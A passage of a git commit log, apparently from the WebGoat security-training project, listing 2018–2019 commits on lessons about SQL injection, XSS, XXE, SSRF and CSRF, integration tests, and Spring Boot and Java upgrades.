9b906a2a29 Fix typo in XXE lesson 2019-09-25 00:37:36 +08:00
Nanne Baars
686d8b0c85
Merge pull request #667 from WebGoat/spring-boot-2
Spring boot 2
2019-09-24 17:09:09 +02:00
Nanne Baars
d080b3ef06 Review comment 2019-09-24 07:36:49 +02:00
Nanne Baars
dad9c75ee0 Fix tests after updating from develop, changes applied for migrating to Spring Boot 2 2019-09-23 17:35:04 +02:00
Nanne Baars
35c1305ce9 Merge conflicts resolved 2019-09-23 07:34:27 +02:00
Nanne Baars
261f947777 Fix 2019-09-20 17:45:33 +02:00
Nanne Baars
c8ef848657 Fix 2019-09-20 17:36:15 +02:00
Nanne Baars
f29b923eef FIx? 2019-09-20 17:10:58 +02:00
Nanne Baars
6fe5831f11 FIx? 2019-09-20 16:46:26 +02:00
Nanne Baars
cf00454f8b Testing issue 2019-09-20 08:30:07 +02:00
Nanne Baars
e8d086ac9b All successful 2019-09-20 07:59:04 +02:00
René Zubcevic
3ec4592fb2
Merge pull request #657 from WebGoat/xxe-int-test
XXE tests added
2019-09-19 18:09:02 +02:00
Nanne Baars
d7a2596670 Update lesson template 2019-09-19 07:54:30 +02:00
Nanne Baars
9c431eb2a3 Remove (was not generated btw) 2019-09-18 18:03:40 +02:00
Nanne Baars
1be9397c21 Add notifications from Travis 2019-09-18 18:02:14 +02:00
Nanne Baars
82ad0a7cc7 Finally working 2019-09-18 17:53:43 +02:00
René Zubcevic
4777dab57a review comments processed 2019-09-18 17:46:32 +02:00
Rene Zubcevic
a5cb5b0e8e removed log in checkresults 2019-09-18 16:16:44 +02:00
Rene Zubcevic
30d38f9b56 completed test 2019-09-18 16:10:52 +02:00
Rene Zubcevic
ec236a4ff5 First steps in XXE integration tests 2019-09-18 14:48:34 +02:00
Rene Zubcevic
57e6a84cef fixed and improved first two jwt challenges 2019-09-17 18:33:05 +02:00
Nanne Baars
2b01cbcb75 Fixed last tests 2019-09-16 07:43:22 +02:00
Nanne Baars
f774364461 Working unit tests 2019-09-13 20:05:25 +02:00
Nanne Baars
04f1b9a282 Update to the copyright 2019-09-13 19:27:25 +02:00
Nanne Baars
71dea87653 WebWolf test working again 2019-09-13 19:25:09 +02:00
Nanne Baars
dceb375d5e WIP 2019-09-13 18:57:40 +02:00
Nanne Baars
5e6f825e64 WIP 2019-09-13 16:42:13 +02:00
Nanne Baars
361249c666 First attempt at moving to Spring Boot 2 2019-09-12 17:22:03 +02:00
René Zubcevic
fb2e11fe11 fix for complete progress of sql mitigations and integration test 2019-09-10 13:58:58 +02:00
Nanne Baars
a56f41e0ea Merge branch 'pr/579' into develop 2019-09-10 13:55:43 +02:00
Nanne Baars
43c25dc3bb Modified PR to reflect coding style 2019-09-10 13:53:30 +02:00
René Zubcevic
6e9a52a05e
Merge pull request #647 from WebGoat/separate_project
Nice work. I will add some tests for the missing parts in the SQL mitigations (in a separate pull request)
2019-09-09 14:05:21 +02:00
Nanne Baars
f7c8a271aa Fixed small typos 2019-09-09 13:55:24 +02:00
Nanne Baars
7a4f6e6fd3 Merge branch 'JeffreyWagnerBHN-develop' into develop 2019-09-09 13:54:38 +02:00
ephemeralwaves
aec051a9f1 Fixed minor spelling mistake 2019-09-09 13:41:38 +02:00
Nanne Baars
bf52e7a992 Fixed checking of server already running 2019-09-09 11:37:26 +02:00
Nanne Baars
0982bd982c Review comments processed:
- Ports can now be changed
- User is now a default user making it easier to login and look around after a failure
2019-09-08 18:52:12 +02:00
Jeffrey Wagner
75a174ff7b Fixed description and grammer 2019-09-06 21:12:55 -04:00
Nanne Baars
2283f945a9 Fix failing configuration 2019-08-25 17:53:36 +02:00
Nanne Baars
ff530e926e Use separate project for integration tests so we can start WebGoat and WebWolf 2019-08-25 17:43:14 +02:00
Matthias Grundmann
139651615e Make lesson csrf-7 stricter (do not allow invalid JSON, e.g. trailing =) 2019-08-22 17:44:52 +02:00
René Zubcevic
924a53c22a fixed sql adv 5 progress and added prove in integration test 2019-08-22 17:44:34 +02:00
René Zubcevic
c93563da3f
Merge pull request #643 from TortugaAttack/multipleTracker45
Fixed #642 - multiple tracker for one user fixed
2019-08-22 15:07:59 +02:00
René Zubcevic
73553d91d3
Merge pull request #639 from jskiba99/patch-2
Update CrossSiteScripting_content9.adoc
2019-08-22 11:14:38 +02:00
TortugaAttack
f0d1555a09 Fixed #45 - multiple tracker for one user fixed 2019-08-21 23:38:27 +02:00
Nanne Baars
6d36e7db74 Added new endpoint for POST so it will give feedback to the UI. It now
ended up in a HTTP/405 which does not give any feedback to the UI
2019-08-17 13:52:59 +02:00
Nanne Baars
e01c2a35ce Add test case for security question assignment and the tracking is now
done with a session scoped bean
2019-08-06 19:04:07 +02:00
Jacob Skiba
7d9f24c86b
Update CrossSiteScripting_content9.adoc
Fix broken resource link
2019-08-06 05:26:05 -04:00
Nanne Baars
18eee4df58 Fix for issue with timestamp not being parsed when sending to WebWolf
timestamp was already fixed at LocalDateTime.now() however WebGoat still
send the timestamp along, removed it
2019-07-28 20:50:19 +02:00
Nanne Baars
e61c943f97 #601 bug: username is case sensitive, but email in general is not
Opted for completing remove support for uppercase letters in username
this way we never come across issued with casing in WebGoat
2019-07-28 20:48:20 +02:00
René Zubcevic
d2e23f6b8e reduce logging 2019-07-25 20:17:52 +02:00
René Zubcevic
ffbc808e26 Integration test support 2019-07-25 20:17:52 +02:00
René Zubcevic
ae674b9297
Merge pull request #620 from zubcevic/july2019-bugfixes
increased sql form fields and fixed chrome progress
2019-07-25 08:39:34 +02:00
Nanne Baars
33c73a7dca Adding new developer 2019-07-24 20:37:32 +02:00
Nanne Baars
216b29fca2 Clean up in pom files 2019-07-24 20:37:32 +02:00
misfir3
ee0988effe
Merge pull request #627 from WebGoat/gh-jwhite-patch-1
Delete do-not-merge.md
2019-07-23 14:19:26 -06:00
gh-jwhite
67440a6cc8
Delete do-not-merge.md
removing earlier test file
2019-07-23 14:18:51 -06:00
gh-jwhite
6c8921a951
Merge pull request #625 from WebGoat/another-ci-fail-test
Create do-not-merge.md
2019-07-23 11:41:35 -06:00
gh-jwhite
b395be9bd0
Create do-not-merge.md
testing a status check/branch protection thing
2019-07-23 10:38:25 -06:00
Rene Zubcevic
7ad3996f2f fix 6a6b page 2019-07-22 15:36:31 +02:00
Rene Zubcevic
b65644edee progress fix for SqlInjectionMitigations 2019-07-22 12:16:18 +02:00
Rene Zubcevic
ea38973068 UTF-8 config added for ThymeLeaf 2019-07-22 08:21:34 +02:00
René Zubcevic
7d0a63ac95 small html changes to improve progress 2019-07-20 09:34:27 +02:00
René Zubcevic
f9e78739f3 reverted mandatory file encoding which will make it worse on windows 2019-07-20 09:13:21 +02:00
Rene Zubcevic
656fa40182 style sheet and advanced sql 2019-07-19 16:49:30 +02:00
Rene Zubcevic
99435a1073 increased sql form fields and fixed chrome progress 2019-07-19 12:16:06 +02:00
Johannes Egger
9471e53818 Fix image names for google chrome dev tools lesson 2019-07-14 12:40:05 +02:00
Johannes Egger
d814522223 Fix test for HTTP proxy lesson 2019-07-14 12:39:07 +02:00
Johannes Egger
2eaf263e81 Improve task description for HTTP proxy lesson 2019-07-14 12:39:07 +02:00
Rene Zubcevic
41f252970b corrected path in pom 2019-07-14 12:38:11 +02:00
Rene Zubcevic
63a1097466 owasp categories 2019-07-14 12:38:11 +02:00
Sylvain Juge
bc0d803123 add login&pwd in JDBC url for PostgreSQL
I really don't know why exactly spring parameters are not used here,
probably for schema creation step. Until changing what the application does on startup
this will make it 'just work' without extra changes.
2019-07-14 12:29:51 +02:00
Rene Zubcevic
12de48ebbb additional environment entries to support https on webgoat 2019-07-14 12:18:07 +02:00
misfir3
62fbd6d340
Merge pull request #610 from johannesegger/patch-1
Fix typo in CIA lesson
2019-07-12 17:21:46 -06:00
misfir3
e36b4c3910
Merge pull request #618 from matthias-g/csrf-3-post
Do not allow trivial solution to CSRF-3
2019-07-12 17:16:23 -06:00
Matthias Grundmann
97f66545e0
In CSRF-3 use POST instead of GET to prevent solving the assignment just by opening the URL in a new tab 2019-07-12 17:25:58 +02:00
Nanne Baars
27125acd22 Fix issue with maven wrapper using TLS 1.2 as it no longer is supported 2019-07-09 20:19:54 +02:00
Nanne Baars
1aa98be908 Fix issue with maven wrapper using TLS 1.2 as it no longer is supported 2019-07-09 20:18:54 +02:00
Sylvain Juge
cb667094f2 update jar plugin version 2019-07-09 19:11:52 +02:00
Johannes Egger
703b6c676e
Fix typo 2019-06-14 15:09:55 +02:00
Nanne Baars
00deb66ad9 Small update for password reset lesson 2019-05-09 09:17:11 +02:00
Nanne Baars
2a5e8dfdac Add missing step necessary to finish the release 2019-05-03 11:20:53 +02:00
Nanne Baars
98537426f2 SNAPSHOT version 2019-05-03 11:15:11 +02:00
Nanne Baars
529e8d73e1 Merge tag 'v8.0.0.M25' into develop
New release
2019-05-03 09:57:22 +02:00
Nanne Baars
d8d32c60cb Merge branch 'release/v8.0.0.M25' 2019-05-03 09:57:12 +02:00
Nanne Baars
9b0c4e62c2 New release, updating pom.xml 2019-05-03 09:50:01 +02:00
Tobias-Melzer
aa2eac0cd8 fixed test 2019-04-21 14:14:23 +02:00
René Zubcevic
8fdfbbd3fb changed order of attack forms in order to get the green completed 2019-04-21 14:12:26 +02:00
Rene Zubcevic
80b8326766 link corrected to avoid 404 2019-04-21 14:11:45 +02:00
ThomasBlt
a4da1a76e8 Add link to landing pages 2019-04-21 14:10:37 +02:00
Rene Zubcevic
e57c9d05b6 added checkbox and corrected fall back for the other labels 2019-04-21 14:10:01 +02:00
Rene Zubcevic
2b2e267594 hide password for testing with your actual password in front of colleagues 2019-04-21 14:10:01 +02:00
Rene Zubcevic
4bafc19883 fixed classcast exception on randValue 2019-04-21 13:59:26 +02:00
Rene Zubcevic
48d926491f removed possible NullpointerException and System.out 2019-04-21 13:59:26 +02:00
Rene Zubcevic
203b5fe717 chrome NetworkNum fix 2019-04-21 13:59:26 +02:00
ronanclancy
0ac8b7c716
Merge branch 'develop' into add-user-validator-tests 2019-03-26 20:36:06 +00:00
rjclancy
331d9c8dd4 add authur tag to test class 2019-03-26 20:33:11 +00:00
rjclancy
c6c0cc60f9 Add UserValidator tests + minor code clean up 2019-03-26 20:23:28 +00:00
rjclancy
bb7fb3f197 add UserService unit test, modify UserService 2019-03-26 13:59:22 +01:00
zubcevic
93830ac15b adjusted to findByUser 2019-03-26 13:57:21 +01:00
ronanclancy
5df6e987eb Fim simple email assignment typo 2019-03-26 13:56:31 +01:00
rjclancy
a242347ee0 add UserService unit test, modify UserService 2019-03-26 12:05:42 +00:00
ronanclancy
89037c3dfb Fim simple email assignment typo 2019-03-26 10:01:07 +00:00
Tobias-Melzer
bcacf94c6f Added Test for Developer Tools 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
5a11a5dae9 Added test for CIA Quiz 2019-03-26 08:43:38 +01:00
Marvin Schöning
b8e68d13b8 implement xss (mitigation) assignment 6 2019-03-26 08:43:38 +01:00
Tobias-Melzer
a8106f6671 Removed git merge symbols 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
2d5919dfc6 Changed snapshot versions of cia, dev-tools and secure passwords lessons. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
b190b08258 Added Import of AssignmentsHints to SQL Injection Challenge to fix build error. 2019-03-26 08:43:38 +01:00
Tobias-Melzer
256c0d05aa Implemented some feedback 2019-03-26 08:43:38 +01:00
Timur Linden
53c16c8b82 fixed minor spelling mistakes, unified wording 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
875f0487bd assignment 4: specifying data type in instructions 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
5c2d9cd8e9 assignment 5: display query string to user after success, improved regex to allow missing semicolon after query 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
e976dbe10f assignment 4: display query string to user after success 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
f586bded4d assignment 3: display query string to user after success 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
7c32232faa display query string to user after success, added hints 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
2be2de8ce1 Added improved quiz for cia-triad and xss 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
27a61f0f70 Reworked and styled quiz 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
0915bf3d7f Changed checkboxes to radio buttons, since it is single choice.
Moved css to seperate css file.
Made questions clickable not just the checkbox.
Reworked java code.
Work in Progress...
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
df49fcdb39 Added a little more info to assignments 11-13 of sql-introduction 2019-03-26 08:43:38 +01:00
Timur Linden
e8caeedf53 implemented xss-quiz 2019-03-26 08:43:38 +01:00
Tobias-Melzer
d27577c1c4 Implemented better lesson description, hints and feedback 2019-03-26 08:43:38 +01:00
MaxGeldner
cec60447c4 Fixed error in SQL Inj quiz
fixed a type that didn't allow the quiz to load.
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
e859c9c37b Fixed errors in tests for sql injection introduction 10 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
3883563c7d Fixed feedback-check in sql introduction tests. 2019-03-26 08:43:38 +01:00
Tobias-Melzer
5c41e6080c Fixed Tests 2019-03-26 08:43:38 +01:00
Tobias-Melzer
7daaac9a3f Fixed Typos 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
84f67b5a7e changed order of xss mitigation lesson 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
64d3cdfc86 Added info to sql injections introduction to check out the CIA-Traid lesson if unfamiliar with it. 2019-03-26 08:43:38 +01:00
Tobias-Melzer
4878ea637e Fixed wrong Hint in SqlInjection Assignment 5a/b 2019-03-26 08:43:38 +01:00
Tobias-Melzer
0588daff9d Added Assignment for Security Questions. 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
37b5abea80 added unsecure password recommendations to secure passwords lesson to see why passwords are rated as weak 2019-03-26 08:43:38 +01:00
Tobias-Melzer
aa22bfb528 Fixed wrong hint 2019-03-26 08:43:38 +01:00
Tobias-Melzer
bbb0b607b2 Added Assignment for Security Questions. 2019-03-26 08:43:38 +01:00
Max Geldner
8b61811278 Added doc to quiz js 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
3d7974aa45 Added more hints to password reset 5 lesson. Recommended Burp as a proxy 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
8c7eaf87d6 Fixed package of xss-mititgation assignment. Hints are working again. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
587c44b52e Removed unused imports. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
1d9abef80f Page after assignment working again. 2019-03-26 08:43:38 +01:00
Max Geldner
74961c5632 ace_collect now uses API call 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
2f39f48747 deleted unnecessary lines 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
387a0e8e7d assignment now has working feedback 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
66821df6f0 polished feedback, implemented password warnings and suggestions 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
49e0f75fb5 secure password assignment first draft 2019-03-26 08:43:38 +01:00
Tobias_Melzer
30b2c8b4d6 Added Hints for second Assignment in Chrome DevTools 2019-03-26 08:43:38 +01:00
Tobias_Melzer
b7a90345b2 Added second assignment for chrome developer tools. 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
2a26cc3cc7 polished feedback, implemented password warnings and suggestions 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
0bd14d9178 (wrong branch) updated assignment (OWASP Java Encoder) and hints (still not shown) 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
06a8bd8b0e Strength bar 2019-03-26 08:43:38 +01:00
Max Geldner
44a9a776bf added pw reset mitigation explanation 2019-03-26 08:43:38 +01:00
Tobias_Melzer
43504b9a7b Fixed Double Hints in SqlInjection Advanced Challenge 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
5fa11a1b4b secure password assignment first draft 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
8bc91ba4ec finished assignment 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
94b936036a Added explanations for creating and storing passwords. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
72e13889d0 Started NIST explanation 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
91e6f70919 Added lesson (no content yet) for explaining nist password standards. 2019-03-26 08:43:38 +01:00
Max Geldner
b02a01d35e squash 2019-03-26 08:43:38 +01:00
Max Geldner
6d974b5fa8 Fixed lesson sorting issue 2019-03-26 08:43:38 +01:00
Bene-Notebook
cfce7763f0 Outcommented lines in XSS Lessons 3 that were causing erros 2019-03-26 08:43:38 +01:00
Philippe Steinbach
63502d6328 added jsoup html parser 2019-03-26 08:43:38 +01:00
Philippe Steinbach
971062561d renamed hints 2019-03-26 08:43:38 +01:00
Philippe Steinbach
e7b69c4953 edited table of relevant special chars (\&apos; not recommended because its not in the HTML spec) 2019-03-26 08:43:38 +01:00
Philippe Steinbach
8944bfcc1d implemented xss mitigation assignment 1, draft validation without parser 2019-03-26 08:43:38 +01:00
Philippe Steinbach
6327b82204 ace editor text as request parameter 2019-03-26 08:43:38 +01:00
Philippe Steinbach
f209c424b4 mitigation preparations 2019-03-26 08:43:38 +01:00
Philippe Steinbach
73c2313658 added assignment draft (not working yet) 2019-03-26 08:43:38 +01:00
Tobias_Melzer
760c3f2990 Added Hints for second Assignment in Chrome DevTools 2019-03-26 08:43:38 +01:00
Bene-Notebook
98a32c7cdf Fixed bug, where assignment hints did not get displayed. 2019-03-26 08:43:38 +01:00
Tobias_Melzer
09baecb3e9 Added second assignment for chrome developer tools. 2019-03-26 08:43:38 +01:00
Max Geldner
6cf3740c04 Fixes bug in introduction assignment 3 and adjusted wording in assignment
1
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
e873752eac Reworked description and added additional hints. Split regex for code checks for better readability. 2019-03-26 08:43:38 +01:00
Max Geldner
4cdd649a5a Added html mode for code editor 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
ea04d6ef35 Removed ajax from assignment. Now using normal post-request.
Made successmessages green and failure messages red for all sql-i messages
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
72ae0d503b Made small text adjustments for developer-tools lesson. 2019-03-26 08:43:38 +01:00
Max Geldner
f66ad51721 Added comment parsing and feedback to text editor lessons 2019-03-26 08:43:38 +01:00
Max Geldner
b22deec5b8 Added quick fix description to code editor assignment 2019-03-26 08:43:38 +01:00
Tobias_Melzer
af565b5035 Added Tutorial for Chrome Developer Tools. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
eb29ed00ff Removed old unused files from XSS 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
58dc5d2d41 Removed unneccessary comments from html documents. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
600c6203ef Changed the lesson plans of all the XSS lessons. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
fffbb3c804 Added missing messages. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
dd8b067a55 Changed names of hints and messages fro SQL-Injection assignments for better readability in properties file. 2019-03-26 08:43:38 +01:00
philippesteinbach
596383fd59 bugfixes 2019-03-26 08:43:38 +01:00
philippesteinbach
90da672be2 added hints to sql injection assignment 4 & 5, minor text changes to be consistent to other assignments 2019-03-26 08:43:38 +01:00
philippesteinbach
0098f07d00 implemented sql injection assignment 5 2019-03-26 08:43:38 +01:00
philippesteinbach
6b669df025 implemented assignment 4, some other changes 2019-03-26 08:43:38 +01:00
philippesteinbach
7733ea0c85 Bug fixes due to changed fuction, Updated text 2019-03-26 08:43:38 +01:00
philippesteinbach
295b5a4772 implemented assignment 2 & 3 of sql injection lession 2019-03-26 08:43:38 +01:00
Max Geldner
2ee3b22207 Reworked some XSS assignments 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
990bf079d3 Added hints for dom-based xss assignment (part 2) 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
362671e67e Added hints for dom-based xss assignment (part 1) 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
46f92dad3b Added hints for Reflected XSS assignment. 2019-03-26 08:43:38 +01:00
Max Geldner
3a7601d348 Moved js files to global directory, added id system to question json 2019-03-26 08:43:38 +01:00
Bene-Notebook
2962ddbb3e Restructured XSS category. Updated gitignore to ignore TestClass.class. 2019-03-26 08:43:38 +01:00
Max Geldner
1cfd8dd843 Added feedback to cia quiz 2019-03-26 08:43:38 +01:00
Max Geldner
61d8051b5f Added feedback for assignment 2019-03-26 08:43:38 +01:00
Tobias Melzer
7db39765c6 Improved Tests 2019-03-26 08:43:38 +01:00
Tobias Melzer
718b113f86 Added my improved assignments 2019-03-26 08:43:38 +01:00
Max Geldner
551f87dbd9 Deleted more unessecary files 2019-03-26 08:43:38 +01:00
Max Geldner
dbba0fc188 Deleted not needed files for syntax highlighter 2019-03-26 08:43:38 +01:00
Max Geldner
8dd0957c39 Added syntax highlighting for mitigation assignment 2019-03-26 08:43:38 +01:00
Max Geldner
50c88738c2 Added a quiz for cia-triad lessons 2019-03-26 08:43:38 +01:00
Max Geldner
baff6b06f3 Moved questions JSON to seperate file 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
41998a0143 Deleted old assignments (introduction) and added tests for the new ones 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
46e71a8bcd Renamed hints 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
3b0c09add7 Highlighted important parts of text and expanded the CIA explanations. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
002ce6e8a6 Polished and fixed assignment 10 (A) of sql injections 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
1bcddaf710 Reworked and polished assignment 8 and 9 (C and I) 2019-03-26 08:43:38 +01:00
Max Geldner
cd3f7ea924 Inserted quiz into sql injection advanced 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
14f4b42ba5 Fixed some errors. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
26e3803de0 Added more hints 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
6fe7582dfb Added an assignment for compromising availability to the sql injections (introduction).
WIP
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
4e6c721545 Added an assignment for compromising integrity by query chaining to the sql injections (introduction) 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
75b1895122 Added a new lessons for sql injections on "Compromising confidentiality with String SQL Injection" 2019-03-26 08:43:38 +01:00
Max Geldner
083eb1b567 improved the description of the new sql injection mitigation assignments 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
d2a2716a9a Added a lesson for the CIA-Triad in the general category explaining the three elements of the triad. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
0529289f6d Added (introduction) extra to the sidebar menu on the left.
Slightly modified SQL Injections explanation/example.
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
adc8891160 Reworked SQl-Injections Introdruction Lesson plan 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
2fdde982eb Restructured SQL Injection introduction lesson and created new required lesson-pages. 2019-03-26 08:43:38 +01:00
Max Geldner
2334b3c02d lessons: sql_injection
added another assignment
2019-03-26 08:43:38 +01:00
Tobias Melzer
8667a85865 Draft_Version for SQL Injection 2019-03-26 08:43:38 +01:00
Bene-Notebook
78ff54b910 Modified and improved explanations for SQL Injections (basics) 2019-03-26 08:43:38 +01:00
Max Geldner
bca50e8ca5 lesson: sql-injection-mitigation
added new assignment for jdbc code completion
2019-03-26 08:43:38 +01:00
Rene Zubcevic
6e36cc1ea4 removed unnecessary interceptors 2019-03-26 08:37:47 +01:00
Rene Zubcevic
4050e899ff changed unit test to dynamic port to prevent port conflict and build failure 2019-03-26 08:37:47 +01:00
Rene Zubcevic
1c2648e0a9 disable the fallback to the system locale to fix unit test and establish the desired behaviour 2019-03-26 08:37:47 +01:00
Robin
24bbb636f8 Update HttpBasics_ProxyIntro1.adoc
Fixed along to alone
2019-03-26 08:35:55 +01:00
Robin
7291651967 Update IntroductionWebWolf.adoc
Fixed typos and language to make it clearer
2019-03-26 08:35:55 +01:00
Robin
528c05a859 Update Landing_page.adoc
Updated the language to make it easier to understand
2019-03-26 08:35:55 +01:00
Robin
e625d4008b Update Receiving_mail.adoc
Clarify text to make it easier to understand
2019-03-26 08:35:55 +01:00
Robin
53050d7198 Make language more understandable
Changed wording, to make it more intuitive
2019-03-26 08:35:55 +01:00
Nanne Baars
5ebf838cd2 Merge branch 'alexanderfry-feature/ssrf' into develop 2019-02-09 20:51:27 +01:00
Nanne Baars
a49dd6c348 Updated version in pom.xml 2019-02-09 20:51:14 +01:00
Nanne Baars
c0dd773b90 Merge branch 'develop' into alexanderfry-feature/ssrf 2019-02-09 18:20:43 +01:00
Nanne Baars
bd86dc6ee0 SNAPSHOT version 2019-02-09 18:20:08 +01:00
Nanne Baars
d6dae9ef75 Merge branch 'feature/ssrf' of git://github.com/alexanderfry/WebGoat into alexanderfry-feature/ssrf 2019-02-09 16:42:08 +01:00
Nanne Baars
941ca5e9a1 SQL injection add hints #470 2019-02-09 16:41:46 +01:00
Nanne Baars
5bc48193b6 Merge branch 'master' into develop 2019-02-08 14:56:53 +01:00
Nanne Baars
e9b1a10a52 Update landing page 2019-02-08 14:56:35 +01:00
Nanne Baars
c58ff9d0cb Merge tag 'v8.0.0.M24' into develop
New version v8.0.0.M24
2019-02-08 14:21:57 +01:00
Nanne Baars
4948380aa1 Merge branch 'release/v8.0.0.M24' 2019-02-08 14:21:36 +01:00
Nanne Baars
6c86929aa6 New release, updating pom.xml 2019-02-08 14:20:23 +01:00
Nanne Baars
c25643afe2 Add landing page for WebGoat 2019-02-08 14:13:58 +01:00
Nanne Baars
7be519e724 Update README to reflect Java 11 change #553 2019-01-31 18:16:10 +01:00
Alex Fry
98f75e34d5 Initial Commit of SSRF Lesson 2019-01-21 18:09:31 -04:00
Nanne Baars
5ba6492684 Merge tag 'v8.0.0.M23' into develop
v8.0.0.M23
2019-01-18 08:47:00 +01:00
Nanne Baars
72968d9619 Merge branch 'release/v8.0.0.M23' 2019-01-18 08:46:50 +01:00
Nanne Baars
631fedb752 New release, updating pom.xml 2019-01-18 08:45:44 +01:00
Nanne Baars
4f59bf545e Updating release doc 2019-01-18 08:44:46 +01:00
Nanne Baars
5d5ba53473 Merge tag 'v8.0.0.M22' into develop
v8.0.0.M22
2019-01-18 08:39:19 +01:00
Nanne Baars
7b8e3cdb52 Merge branch 'release/v8.0.0.M22' 2019-01-18 08:38:10 +01:00
Nanne Baars
9be4361afc New release, updating pom.xml 2019-01-18 08:37:26 +01:00
Nanne Baars
b0e3a06b50 Password reset lesson 5 not working #512
Added comment to not use OWASP ZAP
2019-01-17 16:35:04 +01:00
Shreyas Minocha
9170dcb87f Fix a grammatical error 2019-01-17 14:50:07 +01:00
Nanne Baars
dc5f9880af Full implementation of "Update Webgoat Dockerfile to use entrypoints and commands #523" based on the pull request of Nicklaus McClendon 2019-01-17 14:49:42 +01:00
Nanne Baars
ed490a5ecf Fix for #545
Introduced new macro to make a clear distinction between /WebWolf with
context root and without.
2019-01-16 11:07:30 +01:00
Nanne Baars
81d6e12ae1 Spring devtools no longer work in combination with Spring and Java 11 2019-01-15 16:29:49 +01:00
Nanne Baars
c3ee0b7662 Travis build should also use Java 11 2019-01-15 16:24:39 +01:00
Nanne Baars
959a3c6420 Docker images should use new jar version notation 2019-01-15 16:23:21 +01:00
Nanne Baars
3fa10c4b10 Update to Java 11 2019-01-15 16:23:03 +01:00
Nanne Baars
ec225558b9 Move to latest Spring Boot version and move to Java 11 2018-12-15 13:59:54 +01:00
Nanne Baars
dd1009bc54 Add Maven wrapper 2018-12-14 12:56:21 +01:00
Bartosz Bogatko
bf45a0a8e5 Fix for XXE docs 2018-12-14 12:43:19 +01:00
Patrick Double
f81a6852db YAML structure fix, postgres version fix
The structure of the environment was incorrect. The postgres dialect doesn't match the postgres:latest image.
2018-11-19 08:16:49 +01:00
malikashish8
6699456ee1 Bug fix in sample code 2018-11-19 08:15:41 +01:00
Joubin Jabbari
ecbbb5258e encapsulated the WEBGOAT_HOME in quotes
Encapsulating the `WEBGOAT_HOME` variable in quotes allows for spaces to exist in the path
2018-11-19 08:14:29 +01:00
Josh Cummings
1520c7571f HTML Tampering Mitigation Description Typo 2018-11-19 08:13:17 +01:00
Omniscimus
5921a06747 Fix SQL injection mitigation answer (fixes #505)
You need to submit the IP of the webgoat-prd server, not just any of the IPs.
2018-11-19 08:12:17 +01:00
Chirag Jariwala
b6e4995d11 Fixed Vagrant file
- Added correct wget urls for .jar files
- changed server address to 0.0.0.0(pointing to all interfaces) because by default it listens for connections on VM's localhost only but we want to access webgoat on NAT adapter via port forwarding
2018-11-19 08:10:11 +01:00
donkrasnov
a2f28460c0 Update password_reset.html
Without this attribute it is impossible to pass the lesson "password-reset" `Email functionality with WebWolf`.
2018-11-19 08:08:41 +01:00
misfir3
0797c3e2bf
Merge pull request #519 from pingiun/patch-1
Fix typo
2018-09-13 08:16:11 -07:00
Jelle Besseling
f9a4061604
Fix typo 2018-09-12 09:54:44 +02:00
Nanne Baars
580e50f558 Same form post is used and with autocomplete this does not work because all fields will be posted. The endpoint could no long distinguish between the different actions (sending e-mail and checking password) 2018-08-10 13:15:40 +02:00
Nanne Baars
3d58049af6 docker-compose-local.yml now extends docker-compose.yml
WebWolf waits for 8 seconds after WebGoat starts so the database connection can be established
2018-08-08 18:26:12 +02:00
Nanne Baars
bca8b3c650 Fix buildscripts to wait for Docker and build snapshots 2018-08-08 18:23:27 +02:00
Nanne Baars
1252e3dc21 Update instructions to use docker-compose only 2018-07-17 20:17:35 +02:00
Nanne Baars
63a50df7a1 Add hint to lesson users no longer have guess the complete ip address 2018-07-06 18:22:29 +02:00
Nanne Baars
f9e552f1cd Add instructions how to run WebGoat on Java 9 or higher 2018-07-04 19:15:54 +02:00
Nanne Baars
